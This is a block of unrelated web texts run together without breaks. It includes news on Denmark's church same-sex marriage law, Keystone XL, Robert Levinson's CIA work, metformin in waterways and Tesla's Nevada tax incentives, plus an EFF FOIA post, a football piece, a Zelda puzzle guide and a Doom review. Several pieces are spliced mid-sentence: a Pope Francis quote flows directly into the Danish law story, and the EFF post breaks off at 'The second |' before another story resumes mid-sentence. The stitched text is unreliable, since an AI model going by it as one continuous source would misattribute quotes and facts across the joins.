In his traditional Sunday blessing, Francis spoke of "the thousands of people, including Christians, who have been brutally forced from their homes, children who have died from thirst during the escape and women who have been seized."The country's parliament voted through the new law on same-sex marriage by a large majority, making it mandatory for all churches to conduct gay marriages.
"I think it's very important to give all members of the church the possibility to get married. Today, it's only heterosexual couples."
Under the law, individual priests can refuse to carry out the ceremony, but the local bishop must arrange a replacement for their church.
The far-Right Danish People's Party mounted a strong campaign against the new law, which nonetheless passed with the support of 85 of the country's 111 MPs.
"Marriage is as old as man himself, and you can't change something as fundamental," the party's church spokesperson Christian Langballe said during the debate. "Marriage is supposed to be between a man and a woman."
Karsten Nissen, the Bishop of Viborg, who is refusing to carry out the ceremonies, has warned that the new law risks "splitting the church".
"The debate has been really tough," said Mr Sareen, an agnostic who has pushed hard for the legislation since taking his post last autumn.
"The minority among Danish people, politicians and priests who are against, they've really shouted out loud throughout the process."
The first gay marriages will take place as soon as June 15. This contrasts with neighbouring Norway, where bishops are still debating the correct 'ritual' for the ceremonies, four years after a 2008 parliamentary vote in favour of gay marriage.
Stig Elling, a travel industry millionaire and former Right-wing politician, said he planned to marry his partner of 28 years next week.
"We have felt a little like we were living in the Middle Ages," he told Denmark's TV2 station. "I think it is positive that there is now a majority for it, and that there are so many priests and bishops who are in favour of it, and that the Danish population supports up about it. We have moved forward. It's 2012."
Denmark has been a pioneer in gay rights since 1989, when it became the first country in the world to offer civil unions for gay couples.WASHINGTON—A U.S. lawmaker says he’s hearing that President Barack Obama is about to reject the Keystone XL pipeline, after years of delay and debate. Sen. John Hoeven, a vocal supporter of the Canada-to-Texas project and a Republican critic of the president, seems an unlikely candidate to announce the long-awaited decision. But on Tuesday, the North Dakota lawmaker told the Senate that’s what he’s hearing from his sources.
Sen. John Hoeven, a vocal supporter of the Keystone XL pipeline, told the U.S. Senate on Tuesday that Barack Obama intends to reject the pipeline, despite pleas from the Canadian government for approval. ( Jacquelyn Martin / THE ASSOCIATED PRESS )
Hoeven said he believes Obama, in the hope of stifling criticism, will make the announcement during the August congressional break. The president has vetoed a Keystone XL bill in the past but has never definitively slammed the door shut on the project through the normal regulatory process.
Article Continued Below
Hoeven says rejection makes no sense on environmental grounds and would disadvantage the oil industry in Canada, a friendly U.S. neighbour, even as the recent international nuclear deal help build Iran’s energy industry. Keystone XL would carry about one-quarter of the oil exported by Canada to the U.S. each day and would ease potential bottlenecks on rail lines. Its U.S. opponents, however, argue it would help develop one of the world’s dirtiest sources of oil. The issue has become a fault line in the U.S. debate over climate change and energy politics. Republicans staunchly support the project, which has divided Democrats. Asked about Hoeven’s remarks, the Canadian federal government issued a statement defending the project but said it would refrain from interfering in the American debate.
Read more about:Masamichi Kagaya will present “Autoradiograph – Works of Nuclear God – ” at the Spéos Gallery, 7 rue Jules Vallès 75011 Paris, from 13th November 2017 to 8th January 2018.
Opening of the exhibition: 14th November, from 7pm to 9pm.
In 2011, huge amounts of radioactive particles were released into the air from a nuclear power plant in Japan. The radioactive contamination continues to be hotly debated throughout Japan and is a recurring topic in the media. And yet, very few have taken on the task of capturing visual images of the harmful radiation for the public to see.
Masamichi Kagaya and Dr. Satoshi Mori (the University of Tokyo) decided to leave behind as many visual records of the contamination from the Fukushima nuclear disaster as possible. The present exhibition will be the first of its kind in France for the broad public to discover recent radioactive contamination. Its technique Autoradiograph is quite a significant means for journalists and scientists to present and research radioactive contamination as such.
Above all, these works are a message from Japan, who experienced a series of nuclear catastrophes in Hiroshima, Nagasaki, Bikini and most recently Fukushima.
After his first long-term photo project in France, Masamichi started a second photo project “Autoradiograph” with the cooperation of the University of Tokyo. Masamichi and Professor Mori have captured more than 300 images in the past six years and published a book Autoradiograph in Japan (2015).
More than 25 exhibitions of their work have been held in Japan, Canada and France in addition to the FORMAT International Photography Festival in Derby, England and Ars Electronica in Linz, Austria in 2017. Their project won FUJIFILM AWARD in Kyotographie portfolio review in 2017 and Honorary Mentions in Prix Ars Electronica 2017.
Their work has appeared in more than 15 newspapers and magazines in Japan and abroad. Masamichi developed a 3D autoradiograph at the end of 2016 and his technique can be applied to a wide range of samples.
Masamichi is a Spéos 2009 Alumni from the Professional photography in 1 year.
Read the news on our website “Masamichi Kagaya turns Fukushima radiation into art”As the year draws to a close, EFF is looking back at the major trends influencing digital rights in 2012 and discussing where we are in the fight for free expression, innovation, fair use, and privacy. Click here to read other blog posts in this series.
It seems like a fairly straightforward principle: when the government interprets a law in a way that affects citizens, the public is entitled to know the interpretation and understand its effects.
But when it comes to the federal government’s interpretation of electronic surveillance laws, apparently, the general rule just doesn’t seem to apply (or so the Department of Justice seems to think). In 2012, EFF pushed back, taking the DOJ to court for refusing to disclose how they interpret various surveillance laws. Over the past year, EFF litigated three Freedom of Information Act lawsuits -- each concerning a different law used, and secretly interpreted, by the government but shielded from disclosure and the public’s scrutiny.
In the first case, EFF sued the Department of Justice for an Office of Legal Counsel legal opinion on the FBI’s authority to obtain a person’s call record information without using valid legal process. The lawsuit stemmed from a report, written by the Inspector General of the DOJ, that took the FBI to task for its use of so-called “exigent letters” – essentially, notes the FBI would give to phone service providers for information on a person’s subscriber or call history records. The problem? There’s a federal law that requires the FBI to do a bit more than just hand the service provider a note to get that information. Notwithstanding the federal law, and notwithstanding the Inspector General’s severe rebuke, both the FBI and OLC maintained that the FBI had not broken the law; in fact, the OLC opinion said the FBI was not compelled to use any legal process to obtain call records in some circumstances. However, those circumstances – and the laws supporting that interpretation – have not been disclosed. So EFF sued to get them. Unfortunately, this Fall, a district court in Washington, D.C. agreed with the government that the memo could be withheld. But EFF has appealed to the D.C. Circuit, and this Spring we’ll ask the court to reconsider and order the disclosure of the memo.
The second |
any other American.
The Associated Press reports that Levinson, a retired FBI agent who disappeared in Iran nearly seven years ago, was working for the CIA.
The U.S. had always described him as a private citizen.
CBS News senior correspondent John Miller, a former deputy director of national intelligence and an assistant director of the FBI at the time of Levinson's disappearance, reported on "CBS This Morning," that the AP was asked to hold the story for Levinson's safety and did so for three years, until Thursday.
The news comes as the U.S. and Iran are making historic progress on nuclear talks and easing sanctions. Now, the two countries may have a new point of negotiation.
It's a conversation that's been going on behind the scenes between the U.S. and Iran since Levinson vanished in 2007. The Iranian government has long denied any knowledge of Levinson's whereabouts.
But last year, when "CBS This Morning" interviewed the former Iran President Mahmoud Ahmadinejad, he seemed to acknowledge for the first time that Iran was holding him.
"CTM" co-host Charlie Rose asked him then, "Is there anything that could happen, a trade or something that would allow him to come back to the United States?"
Ahmadinejad replied, "I remember that last year, Iranian and American intelligence groups had a meeting, but I haven't followed up on it. I thought they had come to some kind of an agreement."
But this year, when Rose followed up with the new Iranian president, Hassan Rouhani, he seemed to know or admit knowing less about Levinson's fate, saying at the time, "We do not any information about this person. Actually our intelligence services say he is not in Iran."
The new disclosures that he was working for the CIA may now encourage Iran to finally admit they have been holding Levinson. He was seen in a 2010 hostage video, pleading for help.
Miller: Levinson report may give family more leverage
The Levinson family has been pushing the U.S. government to do more. Last year, Levinson's wife, Christine, said she was frustrated by the lack of progress in freeing her husband since he disappeared seven years ago. She said, "When this first happened, I expected him to be home in a couple of days."
CBS News received this statement from the Levinson family Thursday night: "There are those in the U.S. government who have done their duty in their efforts to find Bob, but there are those who have not. It is time for the U.S. government to step up and take care of one of its own. After nearly seven years, our family should not be struggling to get through each day without this wonderful, caring, man that we love so much."
Miller added on "CTM," "This changes everything.... This is something they did not want out there. Adam Goldman's story and the AP pushes that news forward, but on the other hand, there's a wide assumption in the U.S. government that the Iranians, after holding him for seven years, already knew this. So now that that's out there, two things happen: number one, Iran saves face.... And the family can push harder in a public way, saying, 'This is one of our own who was doing things for this country, and you need to step up and make a bigger effort'."
"CTM" co-host Norah O'Donnell remarked, "Seven years he has been held. This is the most extraordinary story, also because the U.S. government paid $2.5 million to the family of Robert Levinson so they wouldn't get out that he was... (on a) mission for the CIA."
Miller responded, "So I think what he was doing for the CIA is basically a research contract. This is the kind of thing that the analysts give to academics and other experts. The thing is, as a former FBI agent, Levinson was going and doing investigations and talking to people, bringing back evidence. Because this was out of form for the CIA, a number of people -- three -- were fired in the agency over this."
Miller added, "It was an unorthodox use of this guy, and that is what got him in trouble."Manchester United's preseason tour is the perfect place for their next generation of players to show Jose Mourinho what they can do, according to Phil Jones.
United travel to the United States on July 9 for games against LA Galaxy, Real Salt Lake, Manchester City, Real Madrid and Barcelona.
Youngsters like Axel Tuanzebe, Demetri Mitchell, Scott McTominay and Matty Willock are all in with a chance of being named in the squad.
And United defender Jones says it is a good chance for them to make an impression on Mourinho.
"We've often played against these kinds of teams in preseason and it's exciting for the fans in the States to come to the games," he told United's official website. "They're big names and they have big-name players in their sides.
"It's a good for some of the young players who travel with us to experience matches like that. You can take a lot of positives from preseason and look forward to the start of the season."
Plans for United's tour of China last summer were already in place before Mourinho took over from Louis van Gaal.
This time Mourinho has had a key role in the preparations, including organising a week-long training camp in Los Angeles before the first game against LA Galaxy on July 15.
Phil Jones is excited about Manchester United's preseason tour.
"Everyone is looking forward to it," Jones said. "We know exactly what the manager expects from us and he knows the players inside and out.
"He'll have organised this preseason period exactly how he wants it -- when we'll train, when we'll rest and when we'll have commercial work to do. I'm sure it will be a great tour and I'm looking forward to it."
After five games in the United States, United face Valerenga in Oslo and Sampdoria in Dublin before the UEFA Super Cup against Real Madrid in Skopje, Macedonia, on Aug. 8.
United's Premier League season starts with West Ham's visit to Old Trafford on Aug. 12.
Jones added: "The more matches you play, the more match-fit you are and seven games will give everyone a chance to get minutes under their belts.
"You need everyone at a good level for the start of the season. It's hard work, a lot of travelling, and time and effort being put in by everyone. But it's all about getting ready for the start of the season and preparing for the first game."
Rob is ESPN FC's Manchester United correspondent. Follow him on Twitter @RobDawsonESPN.MILWAUKEE, April 24 (UPI) -- As the rate of diabetes skyrockets in the United States, so too are prescriptions for the drugs that treat the blood sugar disorder. One of the most common Type II diabetes medication is metformin.
But metformin isn't just being found on pharmacy shelves and private medicine cabinets. It's also increasingly showing up in freshwater systems. Now, new research suggests it could be to blame for intersex fish.
Rebecca Klaper, a researcher at the University of Wisconsin-Milwaukee, has been looking to the drug's prevalence in watersheds, as well as exploring its potential effects on wildlife.
"It is the chemical we found in almost every sample and in the highest concentrations compared to other emerging contaminants -- even higher than caffeine," she said in a recent press release.
Fish expressing combinations of male and female sex organs are increasingly common in waters downstream from water treatment plants. The phenomenon has mostly been blamed on hormone-related drugs like birth control and beauty products such as acne medicine.
Metformin isn't a hormone. Like other diabetes drugs, it targets blood-sugar regulation. But it's also been occasionally used to treat a hormonal disease, common in women, called polycystic ovary syndrome. Klaper believes metformin may act as an endocrine disruptor.
When Klaper exposed fish to metformin in her lab, their growth or physical appearance was not altered, but eggs produced by the females showed signs of male and female morphology -- suggesting metformin is indeed disrupting hormone-related reproductive processes.
Klaper and her colleagues plan to conduct additional experiments in order to locate the exact genomic changes induced by metformin.
"We're now working on a paper that investigates the metabolic pathways at various points in the fishes' life to see what is changing," she explained.
Klaper's latest paper on the subject -- co-authored by Nicholas Niemuth, a researcher in Klaper's lab -- was published online this week in the journal Chemosphere. It will appear in physical form in the journal's September issue.This page has the answers to the Kass Puzzles in LoZ:BotW.
This page will have all the solutions to the Kass songs in Breath of the Wild.
The Crowned Beast [ edit ]
Location: Rabia Plain
Song:
"A beast that wears a crown of bone,
Prancing through the lush green.
Mount the beast upon its throne,
For only then the shrine is seen."
Solution:
Find a wild male deer (with antlers) in the surrounding area.
Mount the deer.
Ride it onto the Sheikah platform near where Kass is.
Location: Horon Lagoon
Song:
"He breaks the rocks that serve to bind,
Above the tempestuous bay.
On wings of cloth and wood entwined,
He lands on the altar to open the way."
Answer:
Notice the wind currents blowing in the nearby stream
Locate the rocks blocking the wind currents. They are colored in a lighter shade than the other rocks so should be easy to spot.
Use Remote Bomb rune or explosive arrows to blow up the rocks.
Use your paraglider and glide the currents to land on the shrine pedestal.
A Song of Storms [ edit ]
Location: Calora Lake
Song:
"When a lost hero calls down lightning from the sky
The monk responds from a giant mound on high."
Answer:
There is a noticable mount on a hill SE of Calora Lake
Place a metal object (such as a weapon) on top of the mound
Lightning will strike the mound and reveal the shrine. Make sure to jump off the mound immediately after placing the object so you are not hit by the lightning yourself.
Location: Pagos Woods
Song:
"Where the forest dragon spays its jaws,
A shrine sleeps with noble cause."
Answer:
Acquire Farosh's Scale
Follow the Dracozu river north and enter a cave shaped like a serpent's head. Inside the cave is the spring of courage
Place the scale of Farosh in the spring.
Access the hidden shrine behind the statue of Goddess Hylia.
Location: Gerudo Tower
Song:
"As light shines from the northwest skies,
From the tower's shadow an arrow flies.
Pierce the heaven's light to reveal the prize."
Solution:
You need to wait for either the Sun or the Moon to come into position over Gerudo Tower.
For the Moon, the trigger is close to 12:50 am (00:50). For the Sun, (12:50pm? 3Pm).
When the Moon/Sun is in position, the pedestal will light up.
Once the pedestal has lit up, fire an arrow toward the Tower, into the light of the celestial body.
Location: Washa's Bluff
Song:
"When the moon bleeds and the fiends are reborn / The monks will invite you as they have sworn.
But first you must stand on the pedestal bare / With nothing between you and the night air."
Solution:
You need a Blood Moon for this. To determine when the next Blood Moon will happen, head to Ha Dahamar Shrine and head to the Dueling Peaks Stable. At the Stable, talk with Hino. Ask him about "Tonight's Moon", if he does not say, "I'm getting that feeling again... Something is going to happen tonight. I can taste it!" If he does not say that, go over to the nearby cooking pot, rest until Noon and talk with him again. The Blood Moon occurs at random once per 8 night cycle. When you do get the message, Fast Travel back to Mogg Latan Shrine or the closest Shrine.
At around 10:00pm to 12:30AM, Unequip all your armor and stand on the shrine pedestal.
Location: West Hyrule Plains
Song:
"When a single arrow threads two rings,
the shrine will rise like birds on wings."
Solution:
Fire the arrow so that it passes through both rings in the same shot.
The Hero's Cache [ edit ]
Location: Kitano Bay
Song:
"An ancient hero spoke these words:
'One day I'll return to fight evil.
My cache is at 17 of 24,
This rock will point toward its retrieval."
Solve:
Glide down to one of the smaller cliffs
Use Magnesis to locate and pull out the chest. Must be done between 5:00PM and 12:00 AMOct. 24, 2017, 1:41 PM GMT / Updated Oct. 24, 2017, 1:41 PM GMT By Reuters
A man charged in the murder of an Iowa teenager who identified as both male and female is scheduled to go on trial Tuesday in a case that led Attorney General Jeff Sessions to dispatch a federal civil rights prosecutor.
Kedarie Johnson, 16, a Burlington, Iowa, high school student who occasionally went by the name Kandicee, was shot to death in March 2016. Johnson's family told local papers that the teen had identified as both male and female.
Prosecutors have alleged that the killing was related to Johnson's gender identification.
Jorge Sanders-Galvez, 23, and Jaron Purham, 26, were charged in January in the murder. Sanders-Galvez' trial is due to begin on Tuesday in Keokuk, Iowa.
Curtis Dial, an attorney for Sanders-Galvez, said on Monday that his client maintained his innocence. He said the case had been moved from Burlington because of pre-trial publicity.
Purham's attorney could not be reached on Monday for comment.
The case drew national attention when Sessions assigned Christopher Perras, a Justice Department lawyer with the civil rights division, to join local prosecutors in the case.
Justice department spokesman Devin O'Malley said in a statement on Monday that Sessions had directed civil rights attorneys to focus on cases involving transgender people who were murdered.
O'Malley declined to say if federal prosecutors were weighing federal charges.
FOLLOW NBC OUT ON TWITTER, FACEBOOK AND INSTAGRAMI'm generally loathe to discuss story spoilers, so I'll skip anything but the most basic establishment that Doom takes place on Mars on a United Aerospace Corporation installation playing with supernatural forces in an attempt to solve our solar system's ongoing energy crisis. I suppose that would be a spoiler, save that Doom is aggressively self-referential, with passing narrative elements that feel mostly determined to reassure you that you're playing Doom and catch you in a-ha moments where id has slightly subverted or twisted your understanding of the series.
Doom starts immediately and violently. You begin the game in chains and within seconds, you're beating things to death and blasting away. It's a remarkably effective start, and it's off to the races from there.
With that in mind, this new Doom feels like a new translation of the original text, something approaching the gospel from a different perspective. That perspective being something very fast, very loud, very violent, and very graphic. Doom — in development for the better part of a decade now — is a grotesquely beautiful game that feels in many ways like a direct response to the complaints directed at Doom 3. It's aimed at a different branch of the Doom faithful, or at least a different school of thought, and in that regard, it's very successful at distilling the raw gameplay elements of the source material — until, in the end, Doom stumbles over some archaic problems it can't seem to grow out of.
Id's previous attempt at modernizing the most influential shooter of all time was 2004's Doom 3, a great game that nonetheless proved divisive. It was a translation of what the developers thought Doom was. New technology was built specifically to hide all those obvious monster closets from the original games, to make you have to run scared in the dark in a way that maybe id had always intended but never quite came across.
It's been demonstrated before that taking the original 1993 release of Doom and repurposing it for a modern audience is hard. Doom released at the tail end of an era of pixelated abstraction in games, a time when your brain had to do a lot more heavy lifting to fill in the gaps between those big squares of color to see a bright pink demon explode into a intestine-strewn mess, where those bright red blobs were blood, where, as the now-infamous Edge review lamented, there was no talking to the monsters. There was only moving very fast, and shooting demons.
If you've played Doom games before, the game is constantly elbowing you in the ribs about it. Until, that is, Doom's story goes just a little batshit with the meta narrative about destiny and legends and... I'll just stop there. Let's just say when the game talks about dangerous levels of demonic presence, it threads a needle-hole's width between "in on the joke" and "dead goddamned serious."
That suggests a level of sophistication to Doom's storytelling that isn't present, though. Doom's story simultaneously tries for something more while cutting as much forced narrative from the game as possible, and the disconnect there can be a little jarring. Which is strange, really. Doom, of all games, carries with it an implicit suspension of disbelief that most titles would kill for. That was the thought running through my head during another multi-minute dialogue sequence that I couldn't skip, that didn't particularly improve anything about the game. Some competent voice acting aside, the story is a trifle, an occasionally intrusive scaffolding to hang monsters and guns from without being questioned too much — though I did enjoy the codex entries that unlock as the game progresses, which flesh out the world and bestiary quite a bit.
That story is mostly a distraction from a lot of shooting. Doom is very violent. It's all kinetic shooting with very graphic kills. Getting enemies to a certain damage threshold makes them flash blue, a flash that will turn orange when you're close enough to perform one of the game's so-called "Glory Kills" — a fancy name for extremely gory melee executions.
These moments are, shall we say, anatomically elaborate, but usually they're fast, and they serve a mechanical purpose beyond the perfectly reasonable goal of making you feel like a murder god. Glory kills always drop at least some health, which keeps Doom moving and avoids the meticulous save-crawling from the original games, which often forced you to backtrack to find medkits before continuing on.
Glory kills also render you invulnerable while you're performing them, giving a few brief, blessed seconds to catch your breath before turning your attention to the next monster just asking for it. This is an interesting sort of concession to modern, health-recharging shooters and Doom's old-school roots, and it's good for the combat's pacing. It encourages more active play and rewards getting up in a Knight of Hell's face with a shotgun instead of constantly backing away.
Regardless, glory kills are a part of Doom's very strong combat foundation. The access to constant infusions of health and rewards for aggressive play,along with very active enemy AI — the series regular Imp is reimagined here as a fireball-throwing, parkour-performing asshole and it works surprisingly well — make for a game that feels much faster than the original Doom or Doom 2. Proximity just isn't the same kind of risk in this new Doom that it was in the original games, and the encouragement to get in close and hit things is a tacit sort of admission of that.
As vitally, Doom successfully captures the je ne sais quoi of the series' returning weapons, including the most important one. Yes, the chaingun looks cool and is fun to shoot, and the plasma rifle has the same sort of unbridled torrent of hilarious blue balls. Also, the chainsaw is back, but is now a limited use, ammo-driven power weapon accessible with one button press, which makes it easy to use in a pinch before switching back to more conventional weaponry.
But id has also created the most satisfying-to-fire shotgun in a video game since the ‘90s. It is punchy and roars and it offers the same sort of wincing stagger mechanic that it did all those years ago, an aspect that plenty of other shooters fumble. It's a beast, and appropriately remained my staple weapon for the campaign.
This is supported by one of Doom's more interesting additions: a four-tiered upgrade system. Most weapons have two modifications available that can be swapped on-the-fly and activated by holding the left trigger or right mouse button, and each mod can be upgraded with points earned by blasting the crap out of anything moving. But there are also upgrade points for your armor that grant improved abilities and resistances, or upgrades for the marine that give more max health, armor or ammo. Finally, there's also a rune system, which grants you special power-ups earned through semi-hidden challenges in Doom's levels.
The biggest surprise in this new Doom by far is the effectiveness and evocative nature of its collectibles and secrets. Recently playing through the original games, I was struck by how big a part secrets and a sense of discovery played in their reward loop. Finishing a level in 1993 showed how many of the stage's enemies were killed, items collected and secrets discovered. And that is very much in effect in this Doom and, in a smart move, you always know how many secrets you've found and how many are left. I enjoyed wandering through levels, trying to get into new nooks and crannies, in part because I knew there was stuff in it for me.
But this is also where some frustration set in, particularly as the game goes on.
While Doom's first real mission is very linear, the game quickly opens up with larger levels that require color-coded keys to advance. It's very reminiscent of the original games, in a mostly good way, and the secrets scattered around made me more invested in those spaces. However, you can often see secrets you can't quite reach, which require backtracking later or eagle eyes to spot half an hour or so later. And in the latter half of the game, Doom's levels have a bad habit of unceremoniously locking off previous sections of a level without making it clear it's going to happen, relegating all those things I had seen but couldn't get to yet completely impossible to grab without restarting the level.
This essentially took all the good will and excitement I had to find all the stuff Doom had to offer and flipped it right over into borderline rage territory. I felt like my time was being wasted. No matter how many cute little Doom marine collectibles I might find after those points, I still left some behind, and I knew it.
This isn't the game's biggest problem, however. Doom starts very strong, with escalating encounters that add new, powerful enemies in smart ways. These generally appear alone at first, allowing you to get a feel for their abilities and tactics. But after the first or second time fighting, say, a Knight of Hell, the game is going to throw them into the general mix more and more, and in greater and greater quantities. This combination of fodder monsters and more powerful creatures along with big combat arenas with multiple levels of elevation makes for an exciting, nerve-wracking experience, and Doom reaches its peak around chapter nine.
And then the game introduces boss encounters with enemies that have health bars — no, wait, another health bar, after it seemed like the monster was dead the first time!
These are bad boss fights. I know it's theoretically possible to have good boss fights in a first-person shooter, but these are not them. They remove the best stuff about Doom's combat, which ironically isn't just pulling the trigger. The added traversal options in Doom — whether the ability to grab ledges and pull yourself up or the eventual double jump you unlock — combine with those open play spaces with all that enemy variety to find something that gels very well. When Doom starts taking those things away, it suffers as a result.
The boss fights are only the worst example of this. The last third of the game often buckles under encounters that take place in narrower and narrower spaces, where jumping is no longer much of an option. In these sections, the seeming goal to allow players to joyfully figure out how to wreck an arena full of demons is replaced by an apparent diabolical joy from a level designer who just wants to kill the player. And even in the more open spaces, by the last few hours of Doom, fights progressively feel more stale, more familiar, and the game drags on for no particular reason at all.Diarmuid O'Connell Tesla vice president of buiness development, holds a gift from Gov. Brian Sandoval. (Photo: AP File)
Just about a year ago, Gov. Brian Sandoval stood on the steps of the state Capitol with Tesla CEO Elon Musk and announced a project he prophesied had the potential to send Nevada’s economy into ludicrous mode.
With the help of an unprecedented package of tax incentives, Tesla would build a $5 billion battery gigafactory expected to more than double the world’s production of lithium-ion batteries — batteries that will not only power the Tesla Model S’s 0-to-60 in 2.8 seconds Ludicrous Mode, but also the battery packs necessary for home solar storage.
The giant $1.4 billion tax incentive package awarded to the car manufacturer also came with a promise: Unlike other tax abatements given to companies that never really had to prove they’d deliver on their economic impact numbers, the Tesla package would be the most accountable and transparent use of tax breaks to spur economic development in the state.
Now, 15 months later, a slew of economic indicators are on the upswing in the region and construction on the first phase of the gigafactory in Storey County’s Tahoe-Reno Industrial Center is ahead of schedule.
Also, a Reno Gazette-Journal analysis of Storey County’s business license activity shows a significant increase in new filings since the project’s announcement. Whether that is attributable to the gigafactory or the general economic rebound isn’t yet clear.
On the flip side, however, the promised transparency of the tax incentive has lagged. No dollar amount has yet been attached to the savings Tesla has accrued on the tax revenue Nevada is forgoing in exchange for the project.
Gov. Brian Sandoval, right, welcomes Tesla CEO Elon Musk during a September press conference announcing Nevada had been selected as the site for the Tesla battery gigafactory. (Photo: RGJ file)
An audit of the company’s reported job creation and value of its investment was due on Oct. 1, according to the law passed in a two-day special session last year. But the Governor’s Office of Economic Development granted Tesla’s request for an extension of that deadline. The report is expected any day now, according to GOED.
And, although it’s required by the law, Storey County has yet to do a complete analysis on the cost to the tiny local government of meeting the addition service demands created by the project. County Manager Pat Whitten, however, said he is working to improve that reporting.
Meanwhile, state legislators are keeping a close eye on the project that most agree has jump-started an economic revival in Northern Nevada.
“The information I’ve been watching is whether they’ve been making the investments we were promised and whether they are employing Nevadans like they promised,” Sen. Ben Kieckhefer, R-Reno, said. “And we see from the reports from GOED that those thresholds are being met.”
The transparency promise
Burned in the past by tax incentives that weakened the state’s ability to deliver services for an economic promise that wasn’t met, lawmakers vowed in 2014 to hold Tesla and its partner Panasonic accountable for their projections.
The tax incentive package lawmakers handed Tesla was 13 times larger than the state’s previous record-breaking deal awarded to Apple for a data center project in 2012. The deal included:
$725 million in sales tax abatements over 20 years.
$332 million in real and personal property tax abatements over 10 years.
$195 million in transferable tax credits.
$27 million in payroll tax abatements over 10 years.
$8 million in electricity rate discounts over eight years.
If all goes to plan, Tesla will operate essentially tax free for a decade and at a substantial tax discount for another 10 years.
The actual value of the incentives will depend on how many jobs are generated and how much the company actually invests.
To that end, state lawmakers required GOED to file quarterly reports on the dollar value of the tax abatements, how many jobs have been created and value of the investment made by the two companies in the project.
GOED has been filing those quarterly activity reports, but the job numbers in those reports have fluctuated and the agency has yet to put a dollar figure on the tax abatements awarded to Tesla as required in the law.
A rendering of the completed Gigafactory 1 for Tesla Motors east of Reno. (Photo: Tesla Motors)
So far, Tesla has received an $800,000 rebate check from Storey County on sales taxes it paid before the state approved a certificate freeing the company and all of its subcontractors of paying sales tax at all. The amount of the state sales tax rebate hasn’t been reported, nor has a running value of the abatements Tesla receives with the certificate.
“It’s not really possible to report the value of the abatements other than to ask for an audit,” GOED Director Steve Hill said.
That audit is coming, he said.
Without it, Tesla won’t be eligible for an estimated $10 million of transferrable tax credits that are available to it based on its investment so far, Hill said.
The audit also is necessary to ensure Tesla is meeting the requirement that at least 50 percent of those working gigafactory construction jobs are Nevadans. According to the quarterly reports, the project is employing a weekly average of 583 construction workers, 73 percent of whom are Nevadans.
Tesla and Panasonic also have so far hired 82 permanent gigafactory employees. The companies’ total quarterly payroll was $2.9 million last quarter.
The companies have invested $238 million so far in the project.
All of those figures must be verified by the expected audit.
Cost to local government?
Lawmakers also wanted to make sure the project didn’t pose a significant burden to local government services such as police, fire and education. They required Storey County to file two annual reports detailing the cost to local government posed by the project.
Storey County missed its first two deadlines for those reports, filing them only after a reporter called the Legislative Counsel Bureau looking for them.
The reports eventually filed by the county were barely half a page long and contained few details required by lawmakers.
“Without that additional information, I believe it will be hard for the legislative commission to determine whether Tesla is fairly compensating the county for its loss of revenue from the abatements and the additional costs that Storey County may have incurred as a result of the business being located within its jurisdiction,” Legislative Counsel Bureau Director Rick Combs said.
Under the law, Tesla agreed to an annual payment to Storey County to compensate the local government for the increase in government services. The first annual payment negotiated by the county was $881,203.
Whitten said that amount covers the cost of staffing a fire station at the industrial center, as well as the debt payments for a new ladder truck necessary to protect the building. The payment also covers the cost of an additional sheriff’s deputy to patrol the area.
But Whitten acknowledged the county hasn’t done a detailed analysis of police calls, fire calls and other local government services required as a result of the project.
“I don’t know that we can put our arms around it for the first year,” Whitten said. “I do know that once we re-opened our fire station out there, the calls essentially tripled in that whole river corridor.”
Contractors top the list Of the 197 new businesses granted licenses in Storey County this year, 128 are contractors or in the construction trade industry. Contractors
Services
Food
Manufacturing
Others New Business
Whitten said the county is working on a better way to quantify the costs for the next report.
“From our perspective, they are paying their own way,” Whitten said.
Whitten acknowledged the project also presents its challenges to the tiny county.
"This is a huge project, even for a large county, but especially for a small county that wants to stay small," Whitten said, describing hours and hours of plan reviews alone. "The other challenge is just by its nature, Tesla is an extraordinarily dynamic company and the project itself is equally dynamic. We went in certainly thinking we would be a car battery manufacturing plant, now there's home energy storage and commercial energy storage."
Assemblywoman Theresa Benitez-Thompson said the county needs to do better in backing up that claim.
“My intuition would be that there’s been progress in the general community and that the community is happy about what’s going on (since the project began),” she said. “But we really do need these reports to give us more finite detail on what’s happening with these abatements and what revenue we are not collecting.”
An economic boost
Storey Co. business licenses Since Tesla began building its gigafactory, the number of business licenses in Storey County has spiked by 40 percent. The bump in activity is attributed to Tesla, other large projects at TRIC and the recovering economy. Year
By all accounts, the true economic impact of the gigafactory project won’t be felt until it is fully constructed and turning out batteries. While construction jobs provide a temporary boost, it’s the manufacturing jobs that provide a true return on investment, Hill said.
“Given that their schedule has been accelerated, I would say we are ahead of where we expected to be,” Hill said. “But we are still early in the process. Most of the real economic impact will be driven by the employment and that is still in the future.”
“Everything on the site has exceeded certainly what they committed to do during the session,” he added. “They’re moving faster than planned. They’re well ahead of schedule.”
Tesla company officials did not respond to two requests for comment.
According to their website, battery production is scheduled to begin in 2017. But Hill said production could begin as early as next year at the current rate of construction.
That doesn’t mean the project has been without its economic benefits so far.
Hill said his agency no longer has to actually recruit businesses to the state. His calendar is full of companies reaching out on their own after hearing about the Tesla project.
“We met recently with a really large company — a very household name — looking at an opportunity in Northern Nevada,” Hill said, declining, as is typical, to name the business. “They said if Tesla hadn’t picked Nevada they wouldn’t even have considered it. That opened their eyes.”
Such anecdotes are common in the economic development community.
Whitten said Tesla comes up at every site selection meeting he goes to.
Economic indicators are also on the upswing, though economists can’t really pinpoint Tesla as the sole catalyst for that.
Home values in the surrounding “bedroom communities” of Sparks and Fernley have jumped 18 percent and 15 percent respectively since the project was announced.
The unemployment rates in Storey, Lyon and Washoe counties have also dropped in the past year, though Lyon County’s unemployment rate is still at 9.4 percent.
Where the business is coming from Nevada is receiving the lion's share of business generated by the Tesla gigafactory and other big projects at TRIC in Storey Co. Nevada
California
Arizona
Illinois
Other 197 Licenses
Business activity in Storey County has spiked since the Tesla project began, according to an analysis of new business licenses filed in the past three years.
This year, the number of new business licenses in Storey County jumped 41 percent compared to last year. The vast majority are in the construction and trade industries.
But TRIC is also becoming a happening spot for food trucks and caterers, looking for an opportunity to cater to construction workers who have few food options to choose from.
“Obviously there’s opportunity out there,” said Fred Dutter, owner of Papa Fred’s catering, who was recently licensed to provide catering and service from a portable food shed in Storey County. “There’s a lot of construction workers. But it’s hard to get into some of the places, like Tesla. It’s just a process.”
What's coming
Hill said the project will continue to generate both buzz and tangible economic benefits as construction nears completion.
"We certainly pay more attention to this project than any other project," Hill said. "It's such a significant thing from a general economic development standpoint."
In two years, Tesla's promised $7.5 million for public education will start flowing to the state and the company will remain involved in workforce development projects at the higher education level, Hill said.
"We'll see continued construction as well as a ramp up of the number of people employed there," he said.
By the numbers:
Average weekly construction workers: 583
Percent of workers who are Nevadans: 73 percent
Total permanent employees: 82
Total third quarter wages: $2.9 million
Total investment value so far: $238 million
